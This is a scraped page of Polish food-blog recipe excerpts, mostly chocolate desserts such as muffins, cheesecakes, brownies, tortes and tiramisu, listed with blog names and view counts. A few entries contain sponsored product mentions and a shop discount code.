kawałki i wkładamy do blendera kielichowego. Krok 2 Wlewamy do bananów schłodzone mleko kokosowe i blender-ujemy,przelewamy do czterech szklaneczek. Krok 3 Dekorujemy nasz koktajl chrupkami w czekoladzie, a żeby fajnie wyglądało to dajemy kształt gwiazdek.   *  Lokowanie produktu " Pyszna mieszanka chrupkich gwiazdek o smaku waniliowym pokrytych białą czekoladą i kakaowych oblanych mleczną czekoladą. Idealne posypki

Różowa kuchnia
Kawowa panna cotta z nutą mięty i czekolady 168

Poniedziałek zaczynam od pysznego deseru z kawą o smaku mięty w czekoladzie. Taką pyszną kawę możecie nabyć u tommycafe.pl :-). Znajdziecie tam ogromy wybór pysznych kaw i herbat. Do końca września możecie skorzystać ze specjalnego rabatu - 15%. Wystarczy podać kod: kruchebabeczki . Mam nadzieję, ze zakupy będą udane. Co to deseru, to szybki w przygotowaniu i bardzo smaczny. W końcu kawa jest(...)rewelacyjna w smaku i deser również taki wyszedł :-)). Życzę Wam udanego poniedziałku :-)) Składniki na 5-6 porcji: 300 ml śmietany 30% 1/2 szklanki zaparzonej kawy mięta w czekoladzie 2 łyżki cukru trzcinowego (jeśli woli ktoś słodsze to więcej) 2 łyżeczki żelatyny (rozpuszczamy w letniej wodzie) Żelatynę rozpuszczamy w letniej wodzie. Do rondelka wlewamy śmietanę, dodajemy do niej cukier i zaparzoną

kruche babeczki
ciasto z malinami i galaretką 1315

łyżką. Ciasto przekładamy do wyłożonej papierem do pieczenia formy. Pieczemy przez ok. 30 min w 170 st. C. Po upieczeniu odstawiamy do całkowitego wystudzenia. składniki na krem budyniowy z czekoladą: 2 budynie waniliowe bez cukru 500 ml mleka 200 g masła, w temperaturze pokojowej 4 łyżki cukru 50 g czekolady gorzkiej wykonanie: 250 ml mleka zagotowujemy z cukrem. W pozostałym(...)zgęstnieje. Następnie zestawiamy z ognia i odstawiamy do całkowitego wystudzenia. Masło miksujemy na puch, dodajemy do niego stopniowo zimny budyń i miksujemy na gładką masę. Na końcu dodajemy posiekaną czekoladę. składniki na wierzch: 3 galaretki malinowe lub dowolnego smaku aby czerwone 300 – 400 g malin, świeżych 750 ml gorącej wody wykonanie: Galaretki rozpuszczamy w gorącej wodzie. Odstawiamy do lekkiego stężenia

Domowy Smak Jedzenia
Lody bananowe w polewie czekoladowej z orzechami 145

Składniki (na 1 porcję) - pół banana (ok. 58 g), - 4 kostki czekolady (ok. 20 g), - łyżka mleka 2% (ok. 12 ml), - łyżka orzechów włoskich (ok. 10 g). Sposób przygotowania 1. Pół banana obieramy ze skóry i nadziewamy na patyczek. 2. Banana owijamy folią aluminiową i wkładamy do zamrażarki na ok. 2 h. 3. Czekoladę z dodatkiem mleka rozpuszczamy w kąpieli(...)wodnej. 4. Orzechy prażymy i drobno kroimy. 5. Zamrożonego banana polewamy czekoladą i posypujemy orzechami. Lody bananowe są bogate w: - potas (pochodzący z bananów), który reguluje przewodzenie bodźców nerwowych. Wartość odżywcza jednej porcji: Porcja waży: ok. 100 g Energia: 236,5 kcal Białko: 3,9 g Tłuszcze: 13,3 g Węglowodany: 27,3 Błonnik pokarmowy: 2,0 g Smacznego

Zdrowe odżywianie w pięciu smakach
Kokosowy przekładaniec (bez pieczenia ) 190

ogniu następnie odstawiam do wystygnięcia . Śmietanę ubijam na sztywno ,kiedy  śmietana będzie już sztywna dodaje serek mascarpone i delikatnie wszystko razem mieszam . Kiedy śmietana jest już ubita ,a czekolada wystudzona , na blaszkę o wymiarach 31 cm wykładam na spód herbatniki i następnie śmietanę i czekoladę i tak przekładamy po wykorzystania wszystkich składników . Na wierzch ciasta można ozdobić owocami według(...)własnego uznania ,doskonale się komponują owoce z super słodką czekolada z batonów .Ciasto wstawiamy do lodówki                                                                                 Smacznego

Mój Smak
Truskawkowy raj 122

zadowolona i mam siłę do uczenia się jeszcze więcej .   Składniki            500 ml śmietany 30%            2 białe czekolady            2 kubeczki mascarpone           Spody do tortów kakaowe           tryskawki do ozdobienia(...)łyżeczki kawy          10 dag orzechów włoskich          brokat jadalny  Wykonanie  Czekoladę rozpuszczam nad kąpielą wodną i odstawiam do wystygnięcia ,następnie śmietanę ubijam na sztywno i dodaje serki mascarpone ,orzechy włoskie posiekane ,kiedy czekolada wystygnie delikatnie wlewam do masy śmietanowej i dokładnie mieszam . Spody nasączam kawą i nakładam ubitą wcześniej

Mój Smak
Muffinki budyniowe 148

Muffinki te smakują wszystkim, są pyszne dzięki budyniowi i czekoladzie w środku , a dodatkowo dekoracyjny lekki krem sprawia ,że można się nimi zajadać bez końca :) A w dodatku wyglądają rewelacyjnie. Goraco polecam je każdemu. Muffinki z nadzieniem budyniowym  Składniki na muffinki: - budyń waniliowy - 300 g mąki - 2 łyżeczki proszku do pieczenia  - 1/2 łyżeczki sody  - szczypta soli(...)mleka - 150 g masła / margaryny   - 160 g cukru  - 2 jajka - gorzka czekolada (ilość wg uznania)  Budyń waniliowy ugotować z 400 ml mleka zgodnie z zaleceniami na opakowaniu, tak by był dość gęsty i pozostawić do ostudzenia.  Margarynę lub masło roztopić, a następnie rozpuścić w niej cukier. Do osobnego naczynia przesiać mąkę i wymieszać z proszkiem

Aromatyczne Podróże
Muffinki Wielkanocne 138

Ciasto ma być lekko grudkowate. Ciastem napełniamy papilotki ułożone w formie do wypieku muffinek, najlepiej do 2/3 wysokości. Dodajemy ulubione składniki (maliny, jabłko pokrojone w kosteczkę, jagody, serek mascarpone, czekolada,kakao, rodzynki, wszystko zależy od tego na co mamy akurat ochotę) i  przykrywamy odrobiną ciasta. Muffinki pieczemy w temperaturze 180 stopni przez ok 25-30 minut. Po ostudzeniu dekorujemy(...)proszku 3 łyżki cukru pudru 150 g serka mascarpone 100 ml śmietany kremówki 30% lub 36%  śmietan fix (opcjonalnie) do ozdoby: herbatniki, rodzynki, śliwki suszone, podłużne kawałki czekolady Do małego woreczka wsypać kokos i dodać zielony barwnik spożywczy (odrobinę na wykałaczce),do tego dodać malutką łyżeczkę wody. Woreczek dokładnie związać i wszystko dokładnie wymieszać, jeżeli kokos nie zabarwi się

Aromatyczne Podróże
Sernik straciatella z malinami 550

owocowych dobrodziejstw. Dzisiaj chce Was zachęcić do wypróbowania przepisu, na wyjątkowy sernik straciatella na ciasteczkowym, kakaowym spodzie, który jest wilgotny, delikatny a co najważniejsze zawiera przepyszne połączenie malin i czekolady :) Składniki na ciasteczkowy spód: 2 szklanki pokruszonych ciasteczek kakaowych belVita 100 g roztopionego masła Masa serowa: 800 g półtłustego twarogu 3 łyżki oleju kokosowego 3/4 szklanki cukru 1 łyżeczka esencji(...)waniliowej 3 jajka  1,5 łyżki mąki ziemniaczanej 100 g mlecznej czekolady Na wierzch: 700 g malin Dodatkowo: cukier puder do posypania Ciasteczka zmiksować w melakserze, tak by przypominały piasek. Masło rozpuścić i odstawić do przestudzenia. Następnie dokładnie wymieszać je z ciasteczkami. Tortownicę (24 cm) wyłożyć papierem do pieczenia, przesypać masę ciasteczkową i rozprowadzić ją dokładnie na dnie, mocno

Świat Ciasta
Wegański tort z malinami 183

Dziś moja Miśka obchodzi 7 urodziny z zażyczyła sobie tort, warunki były dwa : z malinami i białym kremem. Ja dorzuciłam jeszcze czekoladę i 100 % wegańskich składników. Od 8 rano zakasałam rękawy i wzięłam się do pracy. Cały czas Nina mi asystowała i zatwierdzała każdy z moich pomysłów, bo przyznaję się, to była pełna improwizacja. Miśka do tego stopnia była niecierpliwa(...)sojowego 150 g cukru dodatkowo: 500 g malin 50 g karobu lub kakao 150-200 g dżemu (najlepiej malinowego, ja użyłam wiśniowego, bo Nina wyjadła zapasy) 2 tabliczki 70% czekolady Przygotowanie kremu: ugotuj ryż na mleku, a wręcz go rozgotuj z dodatkiem mleka. Wiórki namocz w gorącej wodzie, po czym odsącz i zblenduj na gładką masę z ugotowanym ryżem. Wystudź

greenscarf
Tiramisu z burbonem 217

Składniki:  2 paczki podłużnych biszkoptów 250 g serka mascarpone 400 g śmietany 30% 3/4 szklanki cukru pudru 250 ml kawy espresso 100 ml burbonu  50 g czekolady deserowej Przygotowanie: Serek mascarpone ucieramy z cukrem pudrem, w osobnym naczyniu ubijamy śmietanę i łączymy delikatnie z masą mascarpone. W naczyniu 25x10 cm (może być większe wtedy zmniejszycie o jedno piętro(...)układamy biszkopty namoczone w mieszance kawy z burbonem, przekładamy kremem i posypujemy startą czekoladą, czynność powtarzamy jeszcze dwa razy. Wierz ciasta starannie oprószamy czekoladą i ciasto wkładamy do lodówki na 2-3h. Ciasto możemy przechowywać w lodówce do 3 dni.  Smacznego

Niezły Młynek
Sernik malinowo-jeżynowy 160

Przepyszny serniczek na zimno, przygotowany z jeżyn malin, oblany czekoladą. Takiego deserku chyba nikt nie odmówi.                                                           Sernik malinowo-jeżynowy Składniki : Spód ciasta herbatniki kakaowe - 200 g masło - 120 g Masa serowa(...)galaretki cytrynowe - 2 opak woda gotowana do galaretek - 1 szkl żelatyna - 2 łyżeczki woda do żelatyny - 5 łyżek Dodatkowo : jeżyny - 130 g maliny na wierzch ciasta mięta do dekoracji czekolada do polania Przygotowanie : Herbatniki zemleć lub wałkiem rozgnieść. Masło rozpuścić, lekko przestudzić, zagnieść jak ciasto. Wyłożyć spód tortownicy o wymiarach 27 cm, wstawić do lodówki. Masa serowa: Galaretki rozpuścić

Kuchnia Danusi
Bananowa kanapka 121

które zanteresuje niemalże każdego! Porządna porcja zdrowia i energii !  Składniki: -> 2 banany -> 1 serek homogenizowany -> 5-6 truskawek -> Borówki amerykańskie -> 3 kostki gorzekiej czekolady -> ½ łyżeczki oleju kokosowego Wykonanie: Obrane banany kroimy na pół, dodajemy wykładamy na talerze. Pomiędzy połówki dodajemy serek. Z truskawek usuwamy szypuły, kroimy na ćwiartki. Umyte borówki wraz z truskawkami(...)przekładamy na banana z serkiem. W międzyczasie roztapiamy w kąpieli wodnej czekoladę z dodatkiem oleju kokosowego. Całość polewamy płynną czekoladą

Jedz zdrowo żyj zdrowo!
KAWA PO MEKSYKAŃSKU 135

Jedna z moich baaaardzo ulubionych kaw.Mamy tu kawę ,bitą smietanę,czekoladę i cynamon,wszystko czego nasze podniebienie potrzebuje.Spróbujcie :)!. 1 szkl. mocnego naparu kawy rozpuszczalnej 4 łyżeczki rozpuszczalnej gorącej czekolady 125 ml.bitej śmietany 1/2 łyżeczki cynamonu 1 łyżka cukru szczypta mielonej gałki muszkatołowej ``~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Bitą śmietanę mieszamy z cynamonem i gałka muszkatołową.Do gorących 4 filiżanek wlewamy po łyżeczce czekolady,dodajemy

Kocurkowe rozmyślania w kuchni Anielki
Muffiny jogurtowo-bananowe z jagodami 168

Kolejne podejście do muffinek z użyciem jagód, choć w tym przepisie świetnie sprawdzą się też orzechy i czekolada. Bez masła i bez cukru, a mega smakowite! :) Kocham placuszki bananowo-jogurtowe, więc pomyślałam, że może to połączenie sprawdzi się i w muffinach. No i nie myliłam się - są pyszne i wilgotne. Świetnie smakują zaraz po przyrządzeniu, następnego dnia po wyjęciu(...)mleka 2 szklanki płatków owsianych 1 szklanka mąki 1 łyżeczka ekstraktu waniliowego (lub cukru waniliowego) 4 łyżki miodu 1 łyżeczka proszku do pieczenia ok. 100 g jagód (można wykorzystać czekoladę oraz orzechy) Płatki owsiane wkładamy do rozdrabniacza i mielimy. Dosypujemy do nich mąkę oraz proszek do pieczenia. W dużej misce rozgniatamy banany, dodajemy do nich ekstrakt waniliowy, wbijamy jajka, dodajemy

Cooking Monster
pijana zakonnica 173

zakonnica, ale, że pijana - nie ma wątpliwości:D W cieście sporo alkoholu, tak więc kierowcom najwyżej nieduży kawałek dozwolony. Delikatny biszkopt, nasączony czekoladowo - alkoholowym ponczem, bita śmietana i czekolada na wierzchu - mniam! W mojej dzisiejszej odsłonie wyjątkowo z nalewką malinową i świeżymi malinami - jeszcze większa pycha! W tym tygodniu hasłem akcji "ciasto na niedzielę" jest malinowe szaleństwo! Zgłaszam tam moją(...)duża łyżka cukru pudru (jeśli chcemy mieć bardziej zwartą konsystencję śmietany można dodać 2 opakowania śmietan-fixu; ja z tego zrezygnowałam) 1 szkl świeżych malin ponadto: 1/2 tabliczki ulubionej czekolady Jajka ubić z cukrem, delikatnie wmieszać obie mąki przesiane z proszkiem do pieczenia. Ciasto wylać do wyłożonej papierem blaszki, piec ok 30 minut w temperaturze 180 stopni. Zaraz po wyjęciu

6niebo
Owsianka czeko- śliwka! 90

najczęściej kombinacje wszystkich owsianek, jaglanek czy komosanek z przeróżnymi dodatkami. Pamiętacie przepis na czeko- śliwkę, który dwa lata temu zawojował cały Internet? Smażone długo śliwki z dodatkiem gorzkiej czekolady lub kakao, bez cukru i innych dodatków. Idealny fit krem czekoladowy, na kanapki, jako nadzienie naleśników lub jako dodatek do... owsianki! Polecam wypróbować przepis, szczególnie w zbliżające się chłodne, jesienne(...)poranki. Składniki (na 2 porcje): 7 łyżek płatków owsianych 3/4 szklanki wody 1 łyżka siemienia lnianego 1 szklanka wypestkowanych śliwek 4-5 kostek czekolady deserowej 2-3 łyżki syropu klonowego 100 ml jogurtu naturalnego dodatki: świeże śliwki, maliny, płatki migdałów Siemię lniane i płatki owsiane moczę przez noc w podanej ilości wody. Kolejnego dnia gotuję z dodatkiem wypestkowanych i pokrojonych

Mango Papaja
kostki czekoladowo-piernikowe z marmoladą 120

Wilgotne i mięciutkie ciasto przełożyłam marmoladą i pokrojone w kwadraty posmarowałam z każdej strony domową polewą. Dzięki temu blaszka ciasta zamieniła się w pojedyncze piernikowe kostki. Ciasto ma dodatek czekolady więc jeśli ktoś nie lubi pierników, może pominąć dodatek przyprawy do piernika, wtedy kostki będą po prostu czekoladowe.  *foremka 23*23 czyli 9 dużych kostek Składniki: na ciasto(...)masła 150 g mąki tortowej Lubella 6 jajek 150 g czekolady deserowej lub gorzkiej 150 g cukru pudru łyżeczka proszku do pieczenia łyżka kakao łyżka przyprawy do piernika na przełożenie: 3/4 szklanki twardej marmolady na polewę: 125 g masła 1/2 szklanki cukru pudru 2 łyżki kakao 2 łyżki wrzątku kilka plasterków galaretki w cukrze Mąkę, kakao, proszek do pieczenia

Domowa Cukierenka-Domowa Kuchnia
Staropolski tort orzechowo-kawowy 277

jajek 2 łyżki mąki ziemniaczanej (skrobi) 1 łyżeczka proszku do pieczenia opcjonalnie : likier orzechowy, amaretto lub spirytus albo zaparzona kawa / herbata – do nasączenia (u mnie amaretto) opcjonalnie: gorzka czekolada (100 g) jako polewa opcjonalnie: orzechy do przybrania Staropolski tort orzechowo-kawowy – krem: 1 szklanka mleka 1 żółtko 4 łyżki cukru pudru 1 lekko czubata łyżka mąki ziemniaczanej(...)dużych jajek 2 łyżki mąki ziemniaczanej (skrobi) 1 łyżeczka proszku do pieczenia opcjonalnie : likier orzechowy, amaretto lub spirytus albo zaparzona kawa / herbata - do nasączenia (u mnie amaretto) opcjonalnie: gorzka czekolada (100 g) jako polewa opcjonalnie: orzechy do przybrania 1 szklanka mleka 1 żółtko 4 łyżki cukru pudru 1 lekko czubata łyżka mąki ziemniaczanej 1 łyżeczka kakao 1 łyżeczka kawy instant

Poezja smaku
Muffiny z borówkami i polewą z białej czekolady 147

BABECZKI Z JAGODAMI Z BIAŁĄ CZEKOLADĄ  Każdy kto mnie zna, wie, że jestem „muffinoholiczką” J Uwielbiam je robić i kocham je jeść :)  Nie każde mi wychodzą ( nie martw się, nie dodaję je na blog :p) , ale za to staram się powtarzać, testować dany przepis lekko go modyfikując, aby uzyskać idealny smak i konsystencję babeczki.  Muffiny wg mnie(...)roztopionego masła 125 ml mleka skórka starta z 1/2 pomarańczy 250 g mąki pszennej 2 płaskie łyżeczki proszku do pieczenia 170 g cukru POLEWA: 50 g białej czekolady  2 łyżki mleka 1 łyżka jogurtu + jagody do dekoracji WYKONANIE: Jagody opłukać i odstawić do wysuszenia. Piekarnik nagrzać do 180 stopni C. Formę na muffiny wyłożyć 12 papilotkami. Do miski wlać

Calzonella.com
Ucierane ciasto z jeżynami i czekoladą 168

Dostałam od siostry pudełeczko jeżyn jakoś nie było zbyt dużo czasu aby wymyślać trudne ciasta, zresztą za oknem gorąc, więc postanowiłam zrobić szybkie ciasto ucierane z jeżynami i czekoladą. Ciasto w smaku przypomina muffinki, jest dość wilgotne i lekko tłuste. Nie jest zbyt słodkie. Prosta i łatwa propozycja na szybkie ciasto, wtedy kiedy nie masz zbyt dużo czasu na pieczenie(...)Ciasto jest bardzo smaczne i nie zsycha się szybko. Można dodatkowo polać je roztopioną czekoladą bądź posypać cukrem. SKŁADNIKI: - 270 g mąki pszennej - kostka masła - 120 ml mleka - 2 łyżeczki proszku do pieczenia - 170 g cukru - 2 jajka - cukier waniliowy - 250 g jeżyn + łyżka mąki do obtoczenia - kilka kosteczek czekolady posiekanej W rondelku stop masło z mlekiem, cukrem. Przestudź masę

SMYKWKUCHNI
Letni tort z owocami 81

podobno pyszny. Składniki : * biszkopt z tego przepisu * 3 małe śmietany kremówki * 2 śmietan-fixy  * 2 łyżki cukru pudru * szklanka soku pomarańczowego * słoiczek dżemu malinowego albo wiśniowego * 200g gorzkiej czekolady * mała krem ówka  * owoce do dekoracji Przygotowanie : Biszkopt przekroić na 3 blat , każdy nasączyć sokiem pomarańczowym i przełożyć d żemem i kremówką ubitą z fix-em i cukrem pudrem(...)Cały tort posmarować kremówką , odstawić do lodówki na godzinę. Czekoladę drobno posiek ać. Kremówkę zagotować, dodać czekoladę i wymieszać na gęstą polewę. Polać tort , udekorować owocami

Magiczne Życie Marty
Puszyste czekoladowe placuszki 200

Uwielbiam puszyste czekoladowe placuszki. To idealna propozycja na niedzielne śniadanie lub kolacje, a nawet na deser. Podane z moją ukochaną białą czekoladą… no cóż, jak dla mnie radość dla podniebienia. Spróbujcie, polecam. Do przygotowania moich placuszków użyłam mąki puszystej wrocławskiej Lubella . Idealnie nadaje się do przygotowania najróżniejszych placków czy naleśników. 18 sierpnia otrzymała wspaniałą paczkę pełną pysznych produktów Lubella(...)łyżki ciemnego kakao (do wypieków) 1/3 łyżeczki sody 1/3 łyżeczki mieszanki przypraw o smaku waniliowo-rumowym* 2 łyżki cukru trzcinowego olej kokosowy do smażenia propozycja podania: kilka kostek białej czekolady *można zastąpić np. cukrem waniliowym Przygotowanie: W jednej misce mieszamy dokładnie jajka, z mlekiem i małą szczyptą soli. W drugiej misce mieszamy mąkę, z kakao, sodą, mieszanką przypraw i cukrem

Słodkie okruszki
Szyszki na słodko 91

jest jeden ze smaków który przypomina mi dzieciństwo i skąd jestem. Składniki: 250g ryżu preparowanego około 2 puszki masy toffi albo krówkowej 1 mleczna czekolada Sposób: W garnuszku roztapiamy czekoladę wlewając masę toffi albo krówkową często mieszamy ,gdy czekolada sie rozpusci dodajemy ryż i mieszamy musimy połaczyć wszytkie składniki Ryż musi troszkę przestygnąć,nastepnie gormujemy kulki,szyszki ... rozkładamy na talerzu

Viola cooks with passion
Wegańskie brownie z owocami 125

proszku 1 szklanka mleka sojowego 1 szklanka cukru trzcinowego 1 łyżeczka sody 2 łyżki czekoladowych kropelek (50% kakao) 300 g malin 200 g borówek Na polewę: 1 tabliczka gorzkiej czekolady 1 łyżka oleju kokosowego Do posmarowania blachy: Odrobina oleju kokosowego Odrobina mąki Do ozdobienia: Ulubione owoce - w moim przypadku dorodne maliny i borówki (należy część odsypać) Przepis: Do misy dodajemy(...)lekko szpatułką i przekładamy do tortownicy wysmarowanej lekko olejem i oprószonej mąką. Ciasto pieczemy przez 35 minut w 180C (do suchego patyczka). W tym czasie przygotowujemy polewę: tabliczkę czekolady łamiemy na kawałki i rozpuszczamy w kąpieli wodnej z dodatkiem oleju kokosowego. Gdy ciasto jest już upieczone i ostygnięte, na jego wierzch nakładami rozpuszczoną czekoladę i całość przyozdabiamy owocami

Emcia Pichci
Piegusek z cukinią 120

łyżka cukru waniliowego  1 szklanka oleju rzepakowy go 3.5 szklanki mąki pszennej  2 płaskie łyżeczki proszku do pieczenia  1 płaska łyżeczka sody 1.5 tabliczki gorzkiej czekolady  1 czubata łyżeczka cynamonu Cukinię obieramy, wydrążamy pestki i ścieramy na tarce na małych oczkach. Czekoladę drobno siekamy przy użyciu noża. Mąkę, proszek, sodę i cynamon przesiewamy.  W misie(...)ubijamy jaja wraz z cukrem i cukrem waniliowym. Kiedy piana z jaj jest puszysta powoli dodajemy olej, następnie czekoladę i suche składniki. Mieszamy do połączenia się składników. Na samym końcu dodajemy cukinię. Jeśli w waszej cukinii wyraźnie jest dużo wody, należy ją lekko odcisnąć. wykładamy na dużą blachę i pieczemy w temperaturze 180°C przez 45-50 minut. Skomentuj

MamaOskarka
Muffinki bananowo-czekoladowe 129

tzreba było z nimi zrobić żeby nie wyrzucić. Pomyślałam, że napewno chętnie zjedzą muffinki. I nie pomyliłam się, bo wszyscy zajadali jeszcze ciepłe, a w domu pachniało bananami i czekoladą :) Składniki: 4 dobrze dojrzałe banany 2,5 szklanki mąki 1/2 szklanki cukru 3 jajka 2 łyżeczki proszku do pieczenia 2 łyżki kakao 1/2 szklanki oleju dropsy czekoladowe lub 50g drobno(...)posiekanej czekolady W jednej misce wymieszać składniki suche (mąkę, proszek do pieczenia, cukier i kakao). W drugiej dokładnie rozgnieść banany widelcem. Dodać jajka i dobrze razem wymieszać, żeby połaczyły się z bananami. Następnie wlać olej i też dobrze połaczyć składniki. Mokre składniki przelać do suchych i dokładnie wymieszać. Na koniec wsypać dropsy czekoladowe lub posiekaną drobno czekoladę i jeszcze

kuchnia doski
Bezglutenowe brownie - bardzo czekoladowe 164

nasze odczucia...? Ciasto jest bardzo smaczne, mocno czekoladowe tak jak przystało na brownie. Niestety jak dla nas za słodkie. Następnym razem dodamy mniej cukru. Składniki: - 200g masła - 300g gorzkiej czekolady - 3 jajka - 2/3 szklanki cukru (wersja ze zmniejszoną ilością cukru) - 50g mąki ryżowej - 50g mąki kukurydzianej - 35g mąki ziemniaczanej - szczypta soli - łyżeczka cukru wanilinowego - pół szklanki pokrojonych orzechów Sposób przygotowania(...)Masło kroimy na małe kawałki. Wkładamy do rondla i rozpuszczamy stale mieszając.  Dodajemy połamaną  na kosteczki czekoladę i dokładnie  mieszamy. Nie zagotowujemy.  W oddzielnym naczyniu  miksujemy jajka z cukrem i cukrem wanilinowym. Dodajemy roztopioną czekoladę i całość miksujemy na gładką masę.  Powoli dodajemy mąkę, sól, orzechy i  wszystko dokładnie miksujemy. Blaszkę wykładamy papierem

Pan i Pani Smith w kuchni
SERNICZKI Z BIAŁĄ CZEKOLADĄ I BORÓWKAMI 144

Jako, że pogoda wróciła taka , jaka powinna być w sierpniu podrzucam Wam pomysł na słodkie małe co nie co i zmykam korzystać ze słoneczka ;) Serniczki dzięki białej czekoladzie uzyskują nowego smaczku, dodatkowej słodyczy. Borówki dopełniają całości Składniki: 120 g sera ( może być z wiaderka do serników) 120 g mascarpone 100 ml śmietany 30% 100 g białej czekolady łyżeczka żelatyny Wykonanie(...)Śmietanę ubijamy na sztywno, dodajemy do niej mascarpone, miksujemy. Żelatynę zalewamy zimną wodą, kiedy napęcznieje podgrzewamy aż do rozpuszczenia, studzimy. Przestudzona żelatynę dodajemy do masy serowo śmietanowej.  Czekoladę rozpuścić w kąpieli wodnej,ostudzić,  dodać do niej ser do sernika , a następnie masę ze śmietaną. Dobrze wymieszać. Do małych pucharków nakładać gotową masę, na wierzch wykładać borówki

Z Majeczką w kuchni
DŽEM BANANOWY Z BIAŁĄ CZEKOLADĄ 116

więc jak macie ochotę na zrobienie przepysznych przetworów z bananami w roli głównej to zapraszam po przepis. 2 kg.bananów 2 szkl.wody zmielona laska wanilii 10 dag.białej czekolady 1 łyżeczka kurkumy ******************************************* Banany obieramy,kroimy w plasterki i wkładamy do garnka.Zalewamy wodą i na małym ogniu smażymy banany przez 30 minut od zagotowania,często mieszamy bo dżem ma tendencję(...)przez 30 minut i powtarzamy jak w pierwszym dniu,to samo robimy .Na trzeci dzień smażymy konfitury przez 30 minut , dodajemy wanilię i kurkumy,na koniec dodajemy posiekaną białą czekoladę , mieszamy aż czekolada się roztopi , wkładamy je do wypazonych sloiczków,zakręcamy.Pasteryzujemy na sucho w piekarniku w temp.90 stopni.przez 20 minut.Smacznego

Kocurkowe rozmyślania w kuchni Anielki
Torcik brownie 209

Wyrazisty w smaku, mocno czekoladowo-orzechowy torcik, który z pewnością zrobi furorę. Można przyozdobić go owocami sezonowymi lub orzechami. Ciasto: 200g czekolady gorzkiej 3 jajka L 140g masła 3/4 szklanki cukru 85g mąki 1 opakowanie cukru waniliowego Krem orzechowy: 200g mascarpone 200g masła orzechowego 2 łyżki cukru pudru Bita śmietana: 300ml śmietanki 30% 2 łyżki cukru pudru 1 śmietan(...)owoce sezonowe lub orzechy 1. Masło roztapiamy w małym garnku lub na patelni. Dodajemy połamaną czekoladę, intensywnie mieszamy, ściągamy z ognia kiedy się rozpuści. Odstawiamy do wystygnięcia. W osobnej misce miksujemy jajka z cukrem i cukrem waniliowym. Dodajemy masło z czekoladą, dokładnie mieszamy. Na końcu dodajemy mąkę. Wylewamy do tortownicy 18cm z dnem wyłożonym papierem do pieczenia. Pieczemy w temperaturze

Szefowa kuchni
ciasto czekoladowe z gruszkami 146

łyżek coca-coli lub innego napoju gazowanego (może być woda gazowana, ewentualnie zwykła woda) 3/4 łyżeczki proszku do pieczenia na mus czekoladowy: 500 ml śmietanki kremówki 250 g czekolady mlecznej  3 duże miękkie gruszki łyżka wody Białka oddzielić od żółtek i ubić na pianę. Następnie nadal ubijając dosypywać cukier a później żółtka. Kiedy masa będzie puszysta wsypać przesianą mąkę(...)ćwiartki, umieścić w rondelku, zalać wodą tak aby przykrywała gruszki i posłodzić. Gotować 2-3 minuty (uważać, żeby nie rozgotować), odcedzić i wystudzić. Na dolnej części ciasta położyć gruszki. Czekoladę rozpuścić w miseczce nad parą i przestudzić. Kremówkę ubić na sztywno i zmiksować z czekoladą. Musem przykryć gruszki. Wierzch posypać pokruszonym ciastem. Gotowe ciasto wstawić do lodówki na kilka godzin

Domowa Cukierenka-Domowa Kuchnia
Ciasto kokosowo anansowe 242

łyżki cukru 350 g masła irlandzkiego 1 łyżka cukru pudru 1 ananas w puszce Blat kokosowy: 6 białek szczypta soli 300 g cukru 300 g kokosu 50 g czekolady mlecznej Przygotowanie: Biszkopt: Białka ubić na sztywno ze szczyptą soli. Dodawać po łyżce cukru i żółtku na przemian cały czas ubijając. Ubijać tak długo, aż masa będzie sztywna. Mąkę przesiać(...)gładkie, lśniące a cukier się rozpuści. Na końcu wsypać kokos i wymieszać. Masę rozsmarować na blasze wyłożonej papierem do pieczenia i piec na złoto około 20-25 minut. Ostudzić. Czekoladę połamać na mniejsze kawałki i rozpuścić w kąpieli wodnej. Warstwy ciasta: Biszkopt, krem, blat kokosowy, czekolada. Złożone ciasto włożyć na kilka godzin a najlepiej na całą noc do lodówki

Ala piecze i gotuje
Tarta z truskawkami, białym winem i bazylią 145

Lato to idealna pora na przygotowanie tarty ze świeżymi owocami. Truskawki z winem nadają jej wykwitny charakter. Oczywiście truskawki nie mogą się obejść bez czekolady.. Całość przełamuje niebanalna bazylia. Do tego niezwykle kruche i delikatne ciasto i krem. Czego chcieć więcej? :) Składniki: 200g mąki krupczatki 2 żółtka łyżka cukru 125g margaryny opakowanie polewy czekoladowej lub czekolady deserowej (użyłam polewy(...)smaku ciemnej czekolady Delecty) 250ml śmietanki 100g mascarpone 500g truskawek opakowanie galaretki truskawkowej szklanka białego półsłodkiego wina listki bazylii  Z mąki, żółtek, margaryny, cukru i szczypty soli szybko zagniatamy kruche ciasto. Wylepiamy nim formę do tarty, spód nakłuwamy kilkakrotnie widelcem. Umieszczamy w zamrażarce na 10 minut. Po tym czasie ciasto pieczemy w piekarniku nagrzanym do 200 stopni. Czas pieczenia

Wrzosowa Polana
CZEKOLADOWE KREMOWE CIASTO ( bez mąki, bez pieczenia ! ) 202

cieście nie znajdziemy typowych składników takich jak jak jajka, mąką czy nabiał, za to poczujemy kokosy, awokado i kakao. Konsystencja jest aksamitnie kremowa, dominuje smak czekolady :) Składniki: Spód: ♥ 2 szklanki wiorków kokosowych ♥ 1/4 szklanki płynnego słodzidła (np.syrop z agawy, miód itp) ♥ łyżka oleju kokosowego ♥ szczypta soli Krem: ♥ 2 awokado ♥ puszka mleka kokosowego 400ml ♥ 1/2 szklanki kakao ♥ 1/2 szklanki płynnego słodzidła(...)łyżki oleju kokosowego ♥ szczypta ekstraktu waniliowego Polewa: ♥ 3 łyżki kakao + kilka łyżek płynnego słodzidła (lub roztopiona gorzka czekolada) Wykonanie: Spód: Wiórki wrzucamy do blendera i miksujemy, aż zmielą się na "mąkę". Mieszamy je z pozostałymi składnikami i formujemy spód naszego ciasta. Krem: Wszystkie składniki poza mlekiem kokosowym miksujemy w blenderze lub ubijamy ręcznie, tak aby powstał krem. Mleko kokosowe miksujemy

Kasia Sarna
Muffinki z płatków owsianych z czarną porzeczką i białą czekoladą 137

